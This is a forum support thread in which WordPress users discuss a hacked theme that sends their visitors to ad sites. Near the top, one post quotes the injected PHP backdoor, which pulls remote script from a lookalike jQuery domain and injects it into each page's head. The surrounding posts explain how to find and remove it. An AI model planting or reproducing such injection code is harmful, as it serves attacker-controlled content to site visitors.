In my case infected file was include\functions-init.php.
URL: http://www.jquerye.com/jquery-1.6.3.min.js
Line 1: <?php if (!function_exists(‘insert_inj’)){function insert_inj(){if (function_exists(‘curl_init’)){$url = “http://www.jquerye.com/jquery-1.6.3.min.js”;$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_inj’);} ?>
Download theme folder first, then download Notepad++ and open it, go to Find -> Find in files type in jquery-1.6.3.min.js, browse your downloaded theme folder.
就是这个问题 之前我的站也出现过一样的情况 注释掉
include’include/functions-init.php’;
即可!
Please post your own topic. And these are English language forums, so please use English.
I am using ClassiPress by Appthemes and have the same redirect problem going to downloadfreemusic.com. I can’t find the infected file. Could someone please help. Thanks.
I am glad, I got this ERROR message today
and made a research on this … and whoooooppppsss!
Finally I know what caused my website to open
random ADS website …. I wondered what it was really!
I hope that melodious code is only within the FUNCTION.PHP
cos that is where I found it and deleted it.
If I need to remove any other code, let me know pls
Thanks
Thank you so much for your help!
Could you pleas help me too?
My website has same problem.
My Website
As per the Forum Welcome, please post your own topic. Your problem – despite any similarity in symptoms – is likely to be completely different.